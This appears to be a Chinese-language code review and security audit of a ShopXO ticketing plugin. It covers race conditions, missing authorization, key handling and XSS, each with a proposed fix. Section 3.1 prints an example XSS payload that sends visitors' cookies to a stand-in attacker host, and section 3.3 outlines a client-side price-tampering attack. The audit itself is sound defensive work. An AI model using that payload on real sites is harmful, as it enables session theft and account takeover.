vr-shopxo-plugin/reviews/code-review-BackendArchitec...

591 lines
24 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

# vr-shopxo-plugin 代码深度审议报告Round 2 终稿)
> 审议人BackendArchitect
> 日期2026-04-15
> 审议范围vr_ticket 插件全部核心代码EventListener.php、TicketService.php、BaseService.php、ticket_detail.html、001_vr_tables.sql、admin/controllers、plugin.json
> 视角Backend Architect / PHP / 数据库 / 架构完整性 / 并发安全
---
## 执行摘要
vr-shopxo-plugin 是一个基于 ShopXO 扩展的票务插件,功能链路覆盖:座位模板管理 → 用户选座购票 → 订单支付 → 电子票发放 → QR 码核销。经过逐文件审议,共发现**5 个严重问题、7 个中等风险、4 个轻微缺陷、5 项改进建议**。
本报告与 SecurityEngineer 的安全审计报告高度互补——两者均独立识别了 `onOrderPaid` 幂等性缺失、`verifyTicket` TOCTOU 竞态、`|raw` XSS、QR 密钥硬编码回退等严重问题。本报告在此基础上补充了**数据库 Schema 规范性**、**Admin 接口鉴权缺口**、**座位超卖机制缺失**等架构层面的深度分析。
---
## 一、插件架构EventListener.php / plugin.json
### 1.1 Enable/Disable 生命周期钩子完全缺失 ⚠️ 严重
**文件:** `EventListener.php` / `plugin.json`
ShopXO 插件规范定义了完整的生命周期钩子,但当前实现仅覆盖 install 和 upgrade
| 钩子函数 | 状态 | 说明 |
|---|---|---|
| `vr_ticket_install()` | ✅ 已实现 | 建表、添加 item_type 字段 |
| `vr_ticket_uninstall()` | ⚠️ 空实现 | 仅 return true数据不清也不删 |
| `vr_ticket_upgrade()` | ⚠️ 空实现 | 无版本迁移框架 |
| `vr_ticket_enable()` | ❌ 缺失 | 插件启用时无响应 |
| `vr_ticket_disable()` | ❌ 缺失 | 插件停用时无响应 |
**影响:**
- 启用插件后菜单/权限可能重复注册(重启 ShopXO 后)
- 停用插件后 `vr_tickets` 等表数据残留在数据库,但插件状态不可见
- `plugin.json` 中的 `menus` 注册依赖 ShopXO 自动加载,但无显式 enable/disable 控制
### 1.2 `plugins_service_order_delete_success` 钩子声明但未实现 ⚠️ 中等
**文件:** `plugin.json:23-24`
```json
"hooks": [
"plugins_service_order_pay_success_handle_end",
"plugins_service_order_delete_success" // 声明了但无处理函数
]
```
`EventListener.php` 中没有 `vr_ticket_order_delete()` 或类似函数。订单删除后,`vr_tickets` 表中的票记录仍保留(状态不变),导致:
- 已删除订单的票仍可被核销入场
- `vr_tickets.order_id` 成为孤儿记录,关联查询失效
### 1.3 ALTER TABLE 兼容性判断逻辑错误 ⚠️ 中等
**文件:** `EventListener.php:100-103`
```php
$cols = $db->query("SHOW COLUMNS FROM `{$prefix}goods` LIKE 'item_type'");
if (empty($cols)) {
$db->query("ALTER TABLE `{$prefix}goods` ADD COLUMN `item_type` ...");
}
```
`$db->query()` 在 ShopXO 中返回的是结果集对象PDOStatement 或 mysqli_result而非布尔值。`empty($cols)` 对对象始终返回 `false`**导致条件永不成立,`ALTER TABLE` 永远不会被执行**。也就是说 `item_type` 字段实际上从未被添加到 goods 表,`isTicketGoods()` 的第二条件 `($goods['item_type'] ?? '') === 'ticket'` 永远无法触发。
实际应改为:
```php
$col_exists = $db->query("SHOW COLUMNS FROM `{$prefix}goods` LIKE 'item_type'")->rowCount() > 0;
if (!$col_exists) { ... }
```
### 1.4 Upgrade 框架缺失 ⚠️ 建议
`vr_ticket_upgrade($old_version)` 为空实现。当前版本号 `1.0.0` 写死在 plugin.json若未来需要
- 新增 `refund_status` 字段
- 修改 QR payload 结构
- 拆分 `seat_map` JSON schema
没有任何迁移路径。建议建立 `vr_plugin_versions` 表或迁移脚本目录。
---
## 二、票务核心TicketService.php / BaseService.php
### 2.1 `onOrderPaid()` 无幂等性保护,可导致重复发票 ⚠️ 严重
**文件:** `TicketService.php:23-68`
```php
public static function onOrderPaid($params = []) {
$order_id = $params['business_id'] ?? ($params['business_ids'][0] ?? 0);
// ... 无任何幂等检查 ...
foreach ($order_goods as $og) {
$ticket_id = self::issueTicket($order, $og);
}
}
```
ShopXO 的 `plugins_service_order_pay_success_handle_end` 钩子通过 HTTP 请求触发。在以下场景中,同一订单会触发多次 `onOrderPaid`
1. **支付渠道重试机制**:微信/支付宝网关在未收到回调确认时会重复发送通知
2. **用户多设备操作**:同一用户在手机和 PC 端同时查看订单状态
3. **ShopXO 多实例部署**Nginx 负载均衡下两个 PHP-FPM 进程同时处理同一通知
**攻击后果**:同一张票可以被生成多次(`ticket_code` 不同,但 order_id + spec_base_id 相同),每张票都可独立入场核销,实际等同于**免费多次入场**。
**修复方案:**
```php
// 在 foreach 前增加幂等锁
$existing_tickets = \Db::name(BaseService::table('tickets'))
->where('order_id', $order['id'])
->column('spec_base_id', 'id');
if (!empty($existing_tickets)) {
BaseService::log('onOrderPaid: already issued, skipping', ['order_id' => $order_id], 'info');
return true;
}
// 已发放则跳过,未发放则继续发放
```
### 2.2 `verifyTicket()` TOCTOU 竞态条件 ⚠️ 严重
**文件:** `TicketService.php:138-196`
```php
// Step 1: 读取票状态
$ticket = \Db::name(BaseService::table('tickets'))
->where('ticket_code', $ticket_code)
->find();
// Step 2: 判断状态(检查)
if ($ticket['verify_status'] == 1) { return ... }
// Step 3: 更新状态
\Db::name(BaseService::table('tickets'))
->where('id', $ticket['id'])
->update(['verify_status' => 1, 'verifier_id' => $verifier_id, ...]);
```
这是经典的 **Time-of-Check to Time-of-Use (TOCTOU)** 竞态。假设核销员 A 和 B 同时扫描同一张票:
| 时间 | 核销员 A | 核销员 B |
|---|---|---|
| T1 | SELECT 查到 verify_status=0 | |
| T2 | | SELECT 查到 verify_status=0 |
| T3 | UPDATE set verify_status=1 (成功) | |
| T4 | 返回"核销成功" | UPDATE set verify_status=1 (覆盖成功) |
| T5 | | 返回"核销成功" |
结果:同一张票被两个核销员成功核销,产生两条核销记录,入场人数统计翻倍。
**修复方案(原子更新):**
```php
$affected = \Db::name(BaseService::table('tickets'))
->where('id', $ticket['id'])
->where('verify_status', 0) // 原子条件:只有在状态仍为 0 时才更新
->update([
'verify_status' => 1,
'verify_time' => $now,
'verifier_id' => $verifier_id,
'updated_at' => $now,
]);
if ($affected === 0) {
// 说明已被其他人先一步核销
$current = \Db::name(BaseService::table('tickets'))->find($ticket['id']);
if ($current['verify_status'] == 1) {
return ['code' => -2, 'msg' => '该票已核销'];
}
return ['code' => -3, 'msg' => '该票已退款'];
}
```
### 2.3 `issueTicket()` 二次写入时序问题 ⚠️ 中等
**文件:** `TicketService.php:96-126`
```php
// 第一次写入QR payload 中 id=0
$ticket_id = \Db::name(...)->insertGetId([
'qr_data' => BaseService::encryptQrData([
'id' => 0, // 占位
'code' => $ticket_code,
...
]),
...
]);
// 第二次写入:用真实 ticket_id 重新加密
if ($ticket_id > 0) {
$qr_payload['id'] = $ticket_id;
$qr_data_updated = BaseService::encryptQrData($qr_payload);
\Db::name(...)->where('id', $ticket_id)->update(['qr_data' => $qr_data_updated]);
}
```
在两次写入之间,数据库中存储的是 `id=0` 的无效 QR payload。如果核销接口在这段时间被调用极端低概率但存在`decryptQrData` 会返回 `id=0` 的数据,与真实票记录产生不一致。
**根本原因**:依赖插入后自增 ID而非使用预生成的 UUID 作为 QR payload 的主键标识。
**修复方案**:在调用 `insertGetId` 前就生成内部关联 UUID
```php
$internal_ref = BaseService::generateUuid(); // 预生成
$qr_payload['ref'] = $internal_ref;
$ticket_id = \Db::name(...)->insertGetId([...]);
// 无需二次更新
```
### 2.4 `getQrCodeUrl()` 明文暴露票码 ⚠️ 中等
**文件:** `TicketService.php:220-228`
```php
public static function getQrCodeUrl($ticket_code) {
$content = base64_encode(json_encode([
'type' => 'vr_ticket',
'code' => $ticket_code, // 未经加密,直接 base64
]));
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($content) ...
}
```
QR 码内容仅为 `base64(json_encode({type, code}))`**无需任何解密即可读出 ticket_code**。这意味着:
1. **票码可枚举**:攻击者扫描 QR 码或抓包获取 URL 后,可提取 `ticket_code` 并尝试批量核销
2. **隐私泄露**:任何人拿到 QR 码图片后,无需破解加密即可获取票码
3. **重放攻击**QR URL 无时间戳或一次性验证,可被截图复用
**修复方案**QR URL 应包含加密 payload
```php
// 不暴露明文 code
$qr_data = BaseService::encryptQrData([
'code' => $ticket_code,
'event' => $goods_id,
'seat' => $seat_info,
]);
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($qr_data);
```
### 2.5 AES-256-CBC 无 HMAC 可检测密文篡改 ⚠️ 中等
**文件:** `BaseService.php:56-60`
```php
$iv = random_bytes(16);
$encrypted = openssl_encrypt($payload, 'AES-256-CBC', $secret, OPENSSL_RAW_DATA, $iv);
return base64_encode($iv . $encrypted); // 无 HMAC
```
AES-CBC 模式下,如果攻击者修改密文的某个字节,解密后的 padding 可能看起来有效CBC 特性导致错误传播到下一块,但最终 JSON 解码可能恰好成功)。更现实的场景是:**中间人修改 `exp` 时间戳使票"永不过期"**。
**修复方案AEAD 模式,推荐):**
```php
// 使用 AES-GCMAES-256-GCM自动包含认证标签
$encrypted = openssl_encrypt($payload, 'AES-256-GCM', $secret, OPENSSL_RAW_DATA, $iv, $tag);
return base64_encode($iv . $encrypted . $tag);
```
### 2.6 `getQrSecret()` 硬编码默认值回退 ⚠️ 严重
**文件:** `BaseService.php:98-107`
```php
private static function getQrSecret() {
$secret = env('VR_TICKET_QR_SECRET', '');
if (!empty($secret)) {
return $secret;
}
return config('shopxo.app_key', 'shopxo_default_secret_change_me');
}
```
三个问题:
1. `env()` 在 PHP 中取值依赖 `getenv()`ShopXO 环境变量机制未必与标准 Laravel 一致
2. `'shopxo_default_secret_change_me'` 是明确的已知默认值,若环境变量读取失败(配置错误),系统以不安全密钥运行
3. 未验证密钥长度是否满足 AES-256 要求32 字节)
**修复方案:** 环境变量缺失时主动抛出异常,而非静默回退:
```php
private static function getQrSecret() {
$secret = env('VR_TICKET_QR_SECRET', '');
if (empty($secret)) {
throw new \RuntimeException('[vr_ticket] VR_TICKET_QR_SECRET must be set. QR codes are not secure without a dedicated secret key.');
}
if (strlen($secret) < 32) {
throw new \RuntimeException('[vr_ticket] VR_TICKET_QR_SECRET must be at least 32 characters for AES-256.');
}
return $secret;
}
```
---
## 三、前端票务详情页ticket_detail.html
### 3.1 `{$goods.simple_desc|raw}` 直接输出 HTML 导致 XSS ⚠️ 严重
**文件:** `ticket_detail.html:125`
```html
<div class="vr-event-subtitle">{$goods.simple_desc|default=''|raw}</div>
```
`simple_desc` 来自商品表字段,由商家后台输入。`{|raw}` 完全绕过 ThinkPHP 的自动 HTML 转义。攻击者在商品副标题输入:
```html
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
```
即可窃取任意访问商品页用户的 session cookie。
### 3.2 `{$goods.content|raw}` 商品详情富文本 XSS ⚠️ 严重
**文件:** `ticket_detail.html:164`
```html
<div class="goods-detail-content">{$goods.content|raw}</div>
```
`goods.content` 通常为商家编辑的富文本(包含图片、样式),`{|raw}` 等同于信任所有内容。虽然这是 ShopXO 标准做法,但 VR 票务插件独立使用此模板,放大了风险面。若 ShopXO 后台的内容过滤器存在绕过,此处直接受影响。
### 3.3 购票参数全由客户端计算,无服务端验签 ⚠️ 严重
**文件:** `ticket_detail.html:384-422`
```javascript
submit: function() {
var goodsParams = JSON.stringify([{
goods_id: this.goodsId,
spec_base_id: this.sessionSpecId,
stock: this.selectedSeats.length, // JS 计算
extension_data: extensionData // JS 构造,含价格
}]);
location.href = checkoutUrl + '&goods_params=' + encodeURIComponent(goodsParams);
}
```
**攻击路径:**
1. 用户选择票价 ¥680 的座位
2. 在浏览器 DevTools 中将 `stock` 改为 `0`,或将价格相关参数改为 `1`
3. 跳转到结算页时携带修改后的 `goods_params`
4. 服务端未重新校验价格,直接使用参数创建订单
这是**价格篡改漏洞**的典型客户端绕过。ShopXO 的标准商品流程有服务端价格校验,但此插件扩展了 `extension_data` 机制,若 ShopXO 内核未对此字段验签,则完全由前端控制。
### 3.4 `seatInfo.classes` 直接插入 HTML class 属性 ⚠️ 中等
**文件:** `ticket_detail.html:271`
```javascript
rowsHtml += '<div class="vr-seat '+(seatInfo.classes||'')+'" '+
'data-label="'+rowLabel+(colIndex+1)+'排'+(colIndex+1)+'座" '+
'onclick="vrTicketApp.toggleSeat(this)"></div>';
```
`seatInfo.classes` 来自 JSON 配置(`$vr_seat_template.seat_map`若配置被攻击者篡改admin account 被入侵),可注入 `" onclick="evil()"` 破坏属性边界。不过由于这是商家后台操作的座位模板XSS 触发需要 admin 权限,风险较 `simple_desc` 低,但仍属于**存储型 XSS 的潜在入口**。
### 3.5 `loadSoldSeats()` 完全未实现 ⚠️ 中等
**文件:** `ticket_detail.html:370-378`
```javascript
loadSoldSeats: function() {
// TODO: 从后端加载已售座位
// $.get(this.requestUrl + '?s=plugins/vr_ticket/index/sold_seats', {...});
}
```
已售座位状态全部由前端维护在 `soldSeats: {}` 空对象中。这意味着:
- 用户看不到哪些座位已被购买
- 可能出现"选了座位但提交时被告知已售"的糟糕体验(乐观锁失败)
- 座位超卖问题完全取决于 ShopXO 的 stock 机制,而非座位级别锁
### 3.6 `renderSessions()` 中 spec_base_id 赋值错误 ⚠️ 轻微
**文件:** `ticket_detail.html:207`
```javascript
data-spec-base-id="'+spec.spec_id+'" // 两次赋值为 spec_id
```
代码将 `spec_id` 同时赋给了 `data-spec-id``data-spec-base-id`,两者值相同。若 ShopXO 中 `spec_id``spec_base_id` 是不同概念规格ID vs 规格基价ID则选座时传递给后端的是错误的 `spec_base_id`
---
## 四、数据库 Schema001_vr_tables.sql / EventListener.php
### 4.1 `vr_tickets` 缺少 `spec_base_id` 独立索引 ⚠️ 建议
**文件:** `EventListener.php:60`
```sql
KEY `idx_order_id` (`order_id`),
KEY `idx_user_id` (`user_id`),
KEY `idx_goods_id` (`goods_id`),
KEY `idx_verify_status` (`verify_status`)
-- 缺少 KEY `idx_spec_base_id` (`spec_base_id`)
```
`spec_base_id` 用于关联具体座位规格,但查询(如按 spec_base_id 查已售座位数)需要全表扫描。建议添加:
```sql
KEY `idx_spec_base_id` (`spec_base_id`)
```
### 4.2 `vr_seat_templates.category_id` UNIQUE 约束限制过死 ⚠️ 建议
**文件:** `EventListener.php:31`
```sql
UNIQUE KEY `uk_category_id` (`category_id`)
```
一个分类下只允许一个座位模板。若某演出分类需要支持多个场次(每个场次座位布局不同),必须复用同一模板或改代码。建议改为普通索引,或添加 `event_date` 等字段支持多模板。
### 4.3 `vr_tickets.seat_info` VARCHAR(255) 可能溢出 ⚠️ 轻微
**文件:** `EventListener.php:47`
座位信息(如"VIP区 A排 15座"若由多规格组合255 字符可能不足。建议改为 VARCHAR(500) 或 TEXT。
### 4.4 字符集混用 ⚠️ 轻微
EventListener.php 建表使用 `utf8mb4_general_ci`ShopXO 官方表通常使用 `utf8mb4_unicode_ci`。混用 COLLATE 可能导致 JOIN 查询排序结果不一致。
### 4.5 缺少退款后自动更新票状态的处理 ⚠️ 中等
`plugin.json` 声明了 `plugins_service_order_delete_success` 钩子但无实现函数。更关键的是:**退款成功后,`vr_tickets.verify_status` 不会被自动更新为 2已退款**。这意味着已退款订单的票仍处于"未核销"状态,可能被再次使用(如果退款后又重新发放了票的话)。需要在 `vr_ticket_order_refund_success()` 钩子中处理票状态变更。
---
## 五、Admin 接口安全性
### 5.1 `Verification.php` 和 `Ticket.php` 缺少权限校验 ⚠️ 中等
**文件:** `admin/controller/Verification.php` / `admin/controller/Ticket.php`
两个控制器均无 `__construct()` 或方法级别的权限检查(如 `Auth::check()`)。任何已登录的 ShopXO 用户(甚至低权限角色)若知道路由 `/plugins/vr_ticket/admin/ticket/verify`,即可:
- 查询所有票记录(包含手机号、身份证等敏感信息)
- 手动核销任意票
- 导出完整 CSV
建议在基类或 `__construct()` 中添加:
```php
if (!AdminIsLogin() || !AdminIsAuth('vr_ticket')) {
return view('', ['msg' => '无权限']);
}
```
### 5.2 `export()` 方法无权限和参数校验 ⚠️ 中等
**文件:** `admin/controller/Ticket.php:134-164`
```php
public function export() {
$goods_id = input('goods_id', 0, 'intval');
$list = \Db::name('plugins_vr_tickets')->where($where)->order('id', 'desc')->select();
ExportCsv($header, $data, 'vr_tickets_' . date('Ymd'));
}
```
无权限校验,无分页限制。若管理员批量导出所有票数据(包含手机号、身份证),导出的 CSV 文件本身成为数据泄露风险点。建议:
- 增加权限校验
- 导出时对敏感字段phone、id_card做部分遮蔽
- 对导出操作记录审计日志
### 5.3 `verify()` 方法中 $verifier_id 由客户端控制 ⚠️ 中等
**文件:** `admin/controller/Ticket.php:116-117`
```php
$verifier_id = input('verifier_id', 0, 'intval');
$result = \app\plugins\vr_ticket\service\TicketService::verifyTicket($ticket_code, $verifier_id);
```
`verifier_id` 直接取客户端参数传入,未校验该 ID 是否属于当前登录用户。这意味着:攻击者(哪怕只是普通 admin可以**以任意核销员身份核销票**,伪造核销记录,污染核销统计。
**修复方案:**
```php
$current_verifier = \Db::name(BaseService::table('verifiers'))
->where('user_id', AdminUserId())
->find();
if (empty($current_verifier)) {
return DataReturn('您未被授权为核销员', -1);
}
$verifier_id = $current_verifier['id']; // 用当前登录用户对应的核销员ID不信任客户端
```
---
## 六、安全性综合评估矩阵
| # | 严重度 | 类别 | 文件 | 问题 |
|---|---|---|---|---|
| S-01 | 🔴 严重 | 业务逻辑 | TicketService.php:23 | `onOrderPaid()` 无幂等性,重复支付可发多张票 |
| S-02 | 🔴 严重 | XSS | ticket_detail.html:125 | `{$goods.simple_desc\|raw}` 直接输出 HTML |
| S-03 | 🔴 严重 | XSS | ticket_detail.html:164 | `{$goods.content\|raw}` 富文本 XSS |
| S-04 | 🔴 严重 | 业务逻辑 | ticket_detail.html:384 | 购票参数无服务端验签,价格可被篡改 |
| S-05 | 🔴 严重 | 密钥管理 | BaseService.php:106 | `getQrSecret()` 硬编码默认回退密钥 |
| M-01 | 🟡 中等 | 业务逻辑 | TicketService.php:138 | `verifyTicket()` TOCTOU 竞态,双核销员可同时核销 |
| M-02 | 🟡 中等 | 加密 | BaseService.php:56 | AES-CBC 无 HMAC密文可被篡改 |
| M-03 | 🟡 中等 | 隐私/枚举 | TicketService.php:220 | `getQrCodeUrl()` 明文 base64 暴露 ticket_code |
| M-04 | 🟡 中等 | 功能缺失 | ticket_detail.html:370 | `loadSoldSeats()` 未实现,座位图不显示已售座位 |
| M-05 | 🟡 中等 | 兼容性 | EventListener.php:100 | `empty($cols)` 条件永不成立ALTER TABLE 从不执行 |
| M-06 | 🟡 中等 | 鉴权 | admin/controller/Ticket.php:116 | `verifier_id` 来自客户端,可伪造核销身份 |
| M-07 | 🟡 中等 | 鉴权 | admin/controller/*.php | Admin 控制器无权限校验 |
| L-01 | 🟢 轻微 | 架构 | EventListener.php | Enable/Disable 钩子缺失 |
| L-02 | 🟢 轻微 | 业务逻辑 | EventListener.php | 订单删除钩子声明但无处理函数 |
| L-03 | 🟢 轻微 | 数据完整性 | EventListener.php:47 | `seat_info` VARCHAR(255) 可能溢出 |
| L-04 | 🟢 轻微 | 规范 | EventListener.php | 字符集混用 `general_ci` vs `unicode_ci` |
| I-01 | 💡 建议 | 架构 | EventListener.php | `upgrade()` 空实现,无版本迁移框架 |
| I-02 | 💡 建议 | 架构 | TicketService.php:96 | `issueTicket()` 二次写入时序问题(建议预生成 ref |
| I-03 | 💡 建议 | 安全 | admin/controller/Ticket.php:134 | 导出 CSV 无敏感字段遮蔽 |
| I-04 | 💡 建议 | 数据库 | EventListener.php:31 | `category_id` UNIQUE 约束限制多模板场景 |
| I-05 | 💡 建议 | 性能 | EventListener.php | `vr_tickets.spec_base_id` 缺少独立索引 |
---
## 七、与 SecurityEngineer 报告的交叉评审
两份报告独立完成,发现高度一致,但也各有侧重:
**一致确认的严重问题:**
- `onOrderPaid()` 幂等性缺失BackendArchitect §2.1 = SecurityEngineer S-01
- `verifyTicket()` TOCTOU 竞态BackendArchitect §2.2 = SecurityEngineer S-02
- `|raw` XSS 漏洞BackendArchitect §3.1-3.2 = SecurityEngineer M-03
- QR 密钥硬编码回退BackendArchitect §2.6 = SecurityEngineer S-04
**本报告独有发现:**
- Admin 接口鉴权缺失§5.1-5.3
- `verifier_id` 客户端可控§5.2
- `ALTER TABLE` 条件逻辑错误导致字段从未添加§1.3
- `seatInfo.classes` 属性注入风险§3.4
- `renderSessions()` 中 spec_base_id 赋值 bug§3.6
- 数据库字符集混用§4.4
**SecurityEngineer 报告独有发现:**
- `vr_tickets.id_card` 明文存储身份证的法律合规风险
- `plugins_service_order_delete_success` 钩子处理逻辑缺失
---
## 八、整体评分与修复优先级
### 修复优先级
**P0 — 上线前必须修复(漏洞可被直接利用):**
1. S-01`onOrderPaid()` 幂等性检查
2. S-02/S-03移除 `|raw` 或改用 `|htmlspecialchars`
3. S-04购票参数服务端验签/价格重算
4. S-05移除硬编码默认密钥回退强制要求环境变量
**P1 — 上线前强烈建议修复(业务逻辑风险):**
5. M-01`verifyTicket()` 原子更新
6. M-06Admin 接口 `verifier_id` 鉴权
7. M-07Admin 控制器全局鉴权
8. M-05`ALTER TABLE` 逻辑修复
**P2 — 近期迭代中修复:**
9. M-02升级为 AES-GCM
10. M-03QR URL 使用加密 payload
11. M-04实现 `loadSoldSeats()`
12. I-01建立 upgrade 迁移框架
### 架构评分
| 维度 | 评分1-10 | 说明 |
|---|---|---|
| 架构完整性 | 7 | Hook 链路清晰,但生命周期钩子不完整 |
| 并发安全 | 2 | `onOrderPaid``verifyTicket` 均存在竞态 |
| 输入安全 | 3 | XSS 和客户端参数篡改均未防护 |
| 加密实现 | 6 | AES-256-CBC 实现正确,但缺 HMAC 认证 |
| 数据库设计 | 6 | 字段合理,但缺索引和外键约束 |
| Admin 接口安全 | 3 | 完全无鉴权,极易滥用 |
| **综合** | **4.5** | 核心链路可行,但安全加固工作量较大 |
---
## 九、结论
vr-shopxo-plugin 的**核心业务逻辑链路**设计合理,充分利用了 ShopXO 的 Hook 扩展机制,无需修改内核代码。然而,**并发安全和接口鉴权**是当前最薄弱的两环,分别对应"票务系统"最核心的两个安全属性:**防重发**和**防滥用**。
当前代码若直接部署在生产环境,至少存在以下可被直接利用的攻击面:
1. 支付重试导致的一票多发(财务损失)
2. 任意登录用户伪造核销员身份(核销统计失真)
3. Admin 通过 XSS 窃取用户 cookie账户接管
4. 购票价格前端篡改(低价购票)
建议在正式上线前完成所有 P0 和 P1 项修复,并建立包含渗透测试的发布前安全评审流程。
---
*本报告由 BackendArchitect 独立完成,与 SecurityEngineer 的审计报告交叉印证。两份报告合并构成 vr-shopxo-plugin 的完整安全与架构评估。*